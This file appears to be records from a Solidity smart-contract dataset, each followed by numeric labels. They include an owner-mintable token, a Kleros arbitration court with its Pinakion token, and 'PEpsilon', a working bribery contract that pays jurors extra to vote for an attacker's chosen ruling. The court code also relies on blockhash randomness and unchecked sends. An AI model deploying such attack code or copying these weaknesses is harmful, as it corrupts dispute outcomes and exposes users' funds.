function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract VeTokenizedAsset is StandardToken, Ownable { using SafeMath for uint256; bool public configured; string public symbol; string public name; string public description; uint256 public decimals; string public source; string public proof; uint256 public totalSupply; function VeTokenizedAsset() { } event SourceChanged(string newSource, string newProof, uint256 newTotalSupply); event SupplyChanged(uint256 newTotalSupply); function setup( string _symbol, string _name, string _description, uint256 _decimals, string _source, string _proof, uint256 _totalSupply ) public onlyOwner { require(!configured); require(bytes(_symbol).length > 0); require(bytes(_name).length > 0); require(_decimals > 0 && _decimals <= 32); symbol = _symbol; name = _name; description = _description; decimals = _decimals; source = _source; proof = _proof; totalSupply = _totalSupply; configured = true; balances[owner] = _totalSupply; SourceChanged(_source, _proof, _totalSupply); } function changeSource(string newSource, string newProof, uint256 newTotalSupply) onlyOwner { uint256 prevBalance = balances[owner]; if (newTotalSupply < totalSupply) { uint256 decrease = totalSupply.sub(newTotalSupply); balances[owner] = prevBalance.sub(decrease); } else if (newTotalSupply > totalSupply) { uint256 increase = newTotalSupply.sub(totalSupply); balances[owner] = prevBalance.add(increase); } source = newSource; proof = newProof; totalSupply = newTotalSupply; SourceChanged(newSource, newProof, newTotalSupply); } function mint(uint256 amount) public onlyOwner { require(amount > 0); totalSupply = totalSupply.add(amount); balances[owner] = balances[owner].add(amount); SupplyChanged(totalSupply); } function burn(uint256 amount) public onlyOwner { require(amount > 0); require(amount <= balances[owner]); totalSupply = totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); SupplyChanged(totalSupply); } }
1
4,400
pragma solidity ^0.4.24; contract PEpsilon { Pinakion public pinakion; Kleros public court; uint public balance; uint public disputeID; uint public desiredOutcome; uint public epsilon; bool public settled; uint public maxAppeals; mapping (address => uint) public withdraw; address public attacker; uint public remainingWithdraw; modifier onlyBy(address _account) {require(msg.sender == _account); _;} event AmountShift(uint val, uint epsilon ,address juror); event Log(uint val, address addr, string message); constructor(Pinakion _pinakion, Kleros _kleros, uint _disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public { pinakion = _pinakion; court = _kleros; disputeID = _disputeID; desiredOutcome = _desiredOutcome; epsilon = _epsilon; attacker = msg.sender; maxAppeals = _maxAppeals; } function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { require(pinakion.transferFrom(_from, this, _amount)); balance += _amount; } function withdrawJuror() { withdrawSelect(msg.sender); } function withdrawSelect(address _juror) { uint amount = withdraw[_juror]; withdraw[_juror] = 0; balance = sub(balance, amount); remainingWithdraw = sub(remainingWithdraw, amount); require(pinakion.transfer(_juror, amount)); } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function withdrawAttacker(){ require(settled); if (balance > remainingWithdraw) { uint amount = balance - remainingWithdraw; balance = remainingWithdraw; require(pinakion.transfer(attacker, amount)); } } function settle() public { require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved); require(!settled); settled = true; var (, , appeals, choices, , , ,) = court.disputes(disputeID); if (court.currentRuling(disputeID) != desiredOutcome){ uint amountShift = court.getStakePerDraw(); uint winningChoice = court.getWinningChoice(disputeID, appeals); for (uint i=0; i <= (appeals > maxAppeals ? maxAppeals : appeals); i++){ if (winningChoice != 0){ uint votesLen = 0; for (uint c = 0; c <= choices; c++) { votesLen += court.getVoteCount(disputeID, i, c); } emit Log(amountShift, 0x0 ,"stakePerDraw"); emit Log(votesLen, 0x0, "votesLen"); uint totalToRedistribute = 0; uint nbCoherent = 0; for (uint j=0; j < votesLen; j++){ uint voteRuling = court.getVoteRuling(disputeID, i, j); address voteAccount = court.getVoteAccount(disputeID, i, j); emit Log(voteRuling, voteAccount, "voted"); if (voteRuling != winningChoice){ totalToRedistribute += amountShift; if (voteRuling == desiredOutcome){ withdraw[voteAccount] += amountShift + epsilon; remainingWithdraw += amountShift + epsilon; emit AmountShift(amountShift, epsilon, voteAccount); } } else { nbCoherent++; } } uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1); for (j = 0; j < votesLen; j++){ voteRuling = court.getVoteRuling(disputeID, i, j); voteAccount = court.getVoteAccount(disputeID, i, j); if (voteRuling == desiredOutcome){ withdraw[voteAccount] += toRedistribute; remainingWithdraw += toRedistribute; emit AmountShift(toRedistribute, 0, voteAccount); } } } } } } } pragma solidity ^0.4.24; contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } contract TokenController { function proxyPayment(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract Controlled { modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} function changeController(address _newController) public onlyController { controller = _newController; } } contract Pinakion is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.2'; struct Checkpoint { uint128 fromBlock; uint128 value; } Pinakion public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function Pinakion( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = Pinakion(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); require((_to != 0) && (_to != address(this))); var previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; Pinakion cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } Pinakion token = Pinakion(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (Pinakion) { Pinakion newToken = new Pinakion( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract RNG{ function contribute(uint _block) public payable; function requestRN(uint _block) public payable { contribute(_block); } function getRN(uint _block) public returns (uint RN); function getUncorrelatedRN(uint _block) public returns (uint RN) { uint baseRN=getRN(_block); if (baseRN==0) return 0; else return uint(keccak256(msg.sender,baseRN)); } } contract BlockHashRNG is RNG { mapping (uint => uint) public randomNumber; mapping (uint => uint) public reward; function contribute(uint _block) public payable { reward[_block]+=msg.value; } function getRN(uint _block) public returns (uint RN) { RN=randomNumber[_block]; if (RN==0){ saveRN(_block); return randomNumber[_block]; } else return RN; } function saveRN(uint _block) public { if (blockhash(_block) != 0x0) randomNumber[_block] = uint(blockhash(_block)); if (randomNumber[_block] != 0) { uint rewardToSend = reward[_block]; reward[_block] = 0; msg.sender.send(rewardToSend); } } } contract BlockHashRNGFallback is BlockHashRNG { function saveRN(uint _block) public { if (_block<block.number && randomNumber[_block]==0) { if (blockhash(_block)!=0x0) randomNumber[_block]=uint(blockhash(_block)); else randomNumber[_block]=uint(blockhash(block.number-1)); } if (randomNumber[_block] != 0) { uint rewardToSend=reward[_block]; reward[_block]=0; msg.sender.send(rewardToSend); } } } contract Arbitrable{ Arbitrator public arbitrator; bytes public arbitratorExtraData; modifier onlyArbitrator {require(msg.sender==address(arbitrator)); _;} event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling); event MetaEvidence(uint indexed _metaEvidenceID, string _evidence); event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID); event Evidence(Arbitrator indexed _arbitrator, uint indexed _disputeID, address _party, string _evidence); constructor(Arbitrator _arbitrator, bytes _arbitratorExtraData) public { arbitrator = _arbitrator; arbitratorExtraData = _arbitratorExtraData; } function rule(uint _disputeID, uint _ruling) public onlyArbitrator { emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling); executeRuling(_disputeID,_ruling); } function executeRuling(uint _disputeID, uint _ruling) internal; } contract Arbitrator{ enum DisputeStatus {Waiting, Appealable, Solved} modifier requireArbitrationFee(bytes _extraData) {require(msg.value>=arbitrationCost(_extraData)); _;} modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;} event AppealPossible(uint _disputeID); event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable); event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable); function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {} function arbitrationCost(bytes _extraData) public constant returns(uint fee); function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable { emit AppealDecision(_disputeID, Arbitrable(msg.sender)); } function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee); function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status); function currentRuling(uint _disputeID) public constant returns(uint ruling); } contract Kleros is Arbitrator, ApproveAndCallFallBack { Pinakion public pinakion; uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2; RNG public rng; uint public arbitrationFeePerJuror = 0.05 ether; uint16 public defaultNumberJuror = 3; uint public minActivatedToken = 0.1 * 1e18; uint[5] public timePerPeriod; uint public alpha = 2000; uint constant ALPHA_DIVISOR = 1e4; uint public maxAppeals = 5; address public governor; uint public session = 1; uint public lastPeriodChange; uint public segmentSize; uint public rnBlock; uint public randomNumber; enum Period { Activation, Draw, Vote, Appeal, Execution } Period public period; struct Juror { uint balance; uint atStake; uint lastSession; uint segmentStart; uint segmentEnd; } mapping (address => Juror) public jurors; struct Vote { address account; uint ruling; } struct VoteCounter { uint winningChoice; uint winningCount; mapping (uint => uint) voteCount; } enum DisputeState { Open, Resolving, Executable, Executed } struct Dispute { Arbitrable arbitrated; uint session; uint appeals; uint choices; uint16 initialNumberJurors; uint arbitrationFeePerJuror; DisputeState state; Vote[][] votes; VoteCounter[] voteCounter; mapping (address => uint) lastSessionVote; uint currentAppealToRepartition; AppealsRepartitioned[] appealsRepartitioned; } enum RepartitionStage { Incoherent, Coherent, AtStake, Complete } struct AppealsRepartitioned { uint totalToRedistribute; uint nbCoherent; uint currentIncoherentVote; uint currentCoherentVote; uint currentAtStakeVote; RepartitionStage stage; } Dispute[] public disputes; event NewPeriod(Period _period, uint indexed _session); event TokenShift(address indexed _account, uint _disputeID, int _amount); event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount); modifier onlyBy(address _account) {require(msg.sender == _account); _;} modifier onlyDuring(Period _period) {require(period == _period); _;} modifier onlyGovernor() {require(msg.sender == governor); _;} constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public { pinakion = _pinakion; rng = _rng; lastPeriodChange = now; timePerPeriod = _timePerPeriod; governor = _governor; } function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { require(pinakion.transferFrom(_from, this, _amount)); jurors[_from].balance += _amount; } function withdraw(uint _value) public { Juror storage juror = jurors[msg.sender]; require(juror.atStake <= juror.balance); require(_value <= juror.balance-juror.atStake); require(juror.lastSession != session); juror.balance -= _value; require(pinakion.transfer(msg.sender,_value)); } function passPeriod() public { require(now-lastPeriodChange >= timePerPeriod[uint8(period)]); if (period == Period.Activation) { rnBlock = block.number + 1; rng.requestRN(rnBlock); period = Period.Draw; } else if (period == Period.Draw) { randomNumber = rng.getUncorrelatedRN(rnBlock); require(randomNumber != 0); period = Period.Vote; } else if (period == Period.Vote) { period = Period.Appeal; } else if (period == Period.Appeal) { period = Period.Execution; } else if (period == Period.Execution) { period = Period.Activation; ++session; segmentSize = 0; rnBlock = 0; randomNumber = 0; } lastPeriodChange = now; NewPeriod(period, session); } function activateTokens(uint _value) public onlyDuring(Period.Activation) { Juror storage juror = jurors[msg.sender]; require(_value <= juror.balance); require(_value >= minActivatedToken); require(juror.lastSession != session); juror.lastSession = session; juror.segmentStart = segmentSize; segmentSize += _value; juror.segmentEnd = segmentSize; } function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[msg.sender]; VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals]; require(dispute.lastSessionVote[msg.sender] != session); require(_ruling <= dispute.choices); require(validDraws(msg.sender, _disputeID, _draws)); dispute.lastSessionVote[msg.sender] = session; voteCounter.voteCount[_ruling] += _draws.length; if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) { voteCounter.winningCount = voteCounter.voteCount[_ruling]; voteCounter.winningChoice = _ruling; } else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) { voteCounter.winningChoice = 0; } for (uint i = 0; i < _draws.length; ++i) { dispute.votes[dispute.appeals].push(Vote({ account: msg.sender, ruling: _ruling })); } juror.atStake += _draws.length * getStakePerDraw(); uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror; msg.sender.transfer(feeToPay); ArbitrationReward(msg.sender, _disputeID, feeToPay); } function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public { Dispute storage dispute = disputes[_disputeID]; Juror storage inactiveJuror = jurors[_jurorAddress]; require(period > Period.Vote); require(dispute.lastSessionVote[_jurorAddress] != session); dispute.lastSessionVote[_jurorAddress] = session; require(validDraws(_jurorAddress, _disputeID, _draws)); uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR; penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance; inactiveJuror.balance -= penality; TokenShift(_jurorAddress, _disputeID, -int(penality)); jurors[msg.sender].balance += penality / 2; TokenShift(msg.sender, _disputeID, int(penality / 2)); jurors[governor].balance += penality / 2; TokenShift(governor, _disputeID, int(penality / 2)); msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror); } function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) { Dispute storage dispute = disputes[_disputeID]; require(dispute.state == DisputeState.Open); require(dispute.session+dispute.appeals <= session); uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; uint amountShift = getStakePerDraw(); for (uint i = 0; i <= dispute.appeals; ++i) { if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) { uint totalToRedistribute = 0; uint nbCoherent = 0; for (uint j = 0; j < dispute.votes[i].length; ++j) { Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift<juror.balance ? amountShift : juror.balance; juror.balance -= penalty; TokenShift(vote.account, _disputeID, int(-penalty)); totalToRedistribute += penalty; } else { ++nbCoherent; } } if (nbCoherent == 0) { jurors[governor].balance += totalToRedistribute; TokenShift(governor, _disputeID, int(totalToRedistribute)); } else { uint toRedistribute = totalToRedistribute / nbCoherent; for (j = 0; j < dispute.votes[i].length; ++j) { vote = dispute.votes[i][j]; if (vote.ruling == winningChoice) { juror = jurors[vote.account]; juror.balance += toRedistribute; TokenShift(vote.account, _disputeID, int(toRedistribute)); } } } } for (j = 0; j < dispute.votes[i].length; ++j) { vote = dispute.votes[i][j]; juror = jurors[vote.account]; juror.atStake -= amountShift; } } dispute.state = DisputeState.Executable; } function multipleShotTokenRepartition(uint _disputeID, uint _maxIterations) public onlyDuring(Period.Execution) { Dispute storage dispute = disputes[_disputeID]; require(dispute.state <= DisputeState.Resolving); require(dispute.session+dispute.appeals <= session); dispute.state = DisputeState.Resolving; uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; uint amountShift = getStakePerDraw(); uint currentIterations = 0; for (uint i = dispute.currentAppealToRepartition; i <= dispute.appeals; ++i) { if (dispute.appealsRepartitioned.length < i+1) { dispute.appealsRepartitioned.length++; } if (winningChoice==0 && (dispute.voteCounter[dispute.appeals].voteCount[0] != dispute.voteCounter[dispute.appeals].winningCount)) { dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Incoherent) { for (uint j = dispute.appealsRepartitioned[i].currentIncoherentVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift<juror.balance ? amountShift : juror.balance; juror.balance -= penalty; TokenShift(vote.account, _disputeID, int(-penalty)); dispute.appealsRepartitioned[i].totalToRedistribute += penalty; } else { ++dispute.appealsRepartitioned[i].nbCoherent; } ++dispute.appealsRepartitioned[i].currentIncoherentVote; ++currentIterations; } dispute.appealsRepartitioned[i].stage = RepartitionStage.Coherent; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Coherent) { if (dispute.appealsRepartitioned[i].nbCoherent == 0) { jurors[governor].balance += dispute.appealsRepartitioned[i].totalToRedistribute; TokenShift(governor, _disputeID, int(dispute.appealsRepartitioned[i].totalToRedistribute)); dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } else { uint toRedistribute = dispute.appealsRepartitioned[i].totalToRedistribute / dispute.appealsRepartitioned[i].nbCoherent; for (j = dispute.appealsRepartitioned[i].currentCoherentVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } vote = dispute.votes[i][j]; if (vote.ruling == winningChoice) { juror = jurors[vote.account]; juror.balance += toRedistribute; TokenShift(vote.account, _disputeID, int(toRedistribute)); } ++currentIterations; ++dispute.appealsRepartitioned[i].currentCoherentVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) { for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } vote = dispute.votes[i][j]; juror = jurors[vote.account]; juror.atStake -= amountShift; ++currentIterations; ++dispute.appealsRepartitioned[i].currentAtStakeVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) { ++dispute.currentAppealToRepartition; } } dispute.state = DisputeState.Executable; } function amountJurors(uint _disputeID) public view returns (uint nbJurors) { Dispute storage dispute = disputes[_disputeID]; return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1; } function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) { uint draw = 0; Juror storage juror = jurors[_jurorAddress]; Dispute storage dispute = disputes[_disputeID]; uint nbJurors = amountJurors(_disputeID); if (juror.lastSession != session) return false; if (dispute.session+dispute.appeals != session) return false; if (period <= Period.Draw) return false; for (uint i = 0; i < _draws.length; ++i) { if (_draws[i] <= draw) return false; draw = _draws[i]; if (draw > nbJurors) return false; uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize; require(position >= juror.segmentStart); require(position < juror.segmentEnd); } return true; } function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) { uint16 nbJurors = extraDataToNbJurors(_extraData); require(msg.value >= arbitrationCost(_extraData)); disputeID = disputes.length++; Dispute storage dispute = disputes[disputeID]; dispute.arbitrated = Arbitrable(msg.sender); if (period < Period.Draw) dispute.session = session; else dispute.session = session+1; dispute.choices = _choices; dispute.initialNumberJurors = nbJurors; dispute.arbitrationFeePerJuror = arbitrationFeePerJuror; dispute.votes.length++; dispute.voteCounter.length++; DisputeCreation(disputeID, Arbitrable(msg.sender)); return disputeID; } function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) { super.appeal(_disputeID,_extraData); Dispute storage dispute = disputes[_disputeID]; require(msg.value >= appealCost(_disputeID, _extraData)); require(dispute.session+dispute.appeals == session); require(dispute.arbitrated == msg.sender); dispute.appeals++; dispute.votes.length++; dispute.voteCounter.length++; } function executeRuling(uint disputeID) public { Dispute storage dispute = disputes[disputeID]; require(dispute.state == DisputeState.Executable); dispute.state = DisputeState.Executed; dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice); } function arbitrationCost(bytes _extraData) public view returns (uint fee) { return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror; } function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) { Dispute storage dispute = disputes[_disputeID]; if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT; return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror; } function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) { if (_extraData.length < 2) return defaultNumberJuror; else return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]); } function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) { return (alpha * minActivatedToken) / ALPHA_DIVISOR; } function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) { return disputes[_disputeID].votes[_appeals][_voteID].account; } function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) { return disputes[_disputeID].votes[_appeals][_voteID].ruling; } function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) { return disputes[_disputeID].voteCounter[_appeals].winningChoice; } function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) { return disputes[_disputeID].voteCounter[_appeals].winningCount; } function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) { return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice]; } function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) { return disputes[_disputeID].lastSessionVote[_juror]; } function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[_juror]; if (juror.lastSession != session || (dispute.session+dispute.appeals != session) || period<=Period.Draw || _draw>amountJurors(_disputeID) || _draw==0 || segmentSize==0 ) { return false; } else { uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize; return (position >= juror.segmentStart) && (position < juror.segmentEnd); } } function currentRuling(uint _disputeID) public view returns (uint ruling) { Dispute storage dispute = disputes[_disputeID]; return dispute.voteCounter[dispute.appeals].winningChoice; } function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) { Dispute storage dispute = disputes[_disputeID]; if (dispute.session+dispute.appeals < session) return DisputeStatus.Solved; else if(dispute.session+dispute.appeals == session) { if (dispute.state == DisputeState.Open) { if (period < Period.Appeal) return DisputeStatus.Waiting; else if (period == Period.Appeal) return DisputeStatus.Appealable; else return DisputeStatus.Solved; } else return DisputeStatus.Solved; } else return DisputeStatus.Waiting; } function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor { _target.call.value(_value)(_data); } function setRng(RNG _rng) public onlyGovernor { rng = _rng; } function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor { arbitrationFeePerJuror = _arbitrationFeePerJuror; } function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor { defaultNumberJuror = _defaultNumberJuror; } function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor { minActivatedToken = _minActivatedToken; } function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor { timePerPeriod = _timePerPeriod; } function setAlpha(uint _alpha) public onlyGovernor { alpha = _alpha; } function setMaxAppeals(uint _maxAppeals) public onlyGovernor { maxAppeals = _maxAppeals; } function setGovernor(address _governor) public onlyGovernor { governor = _governor; } }
0
2,072
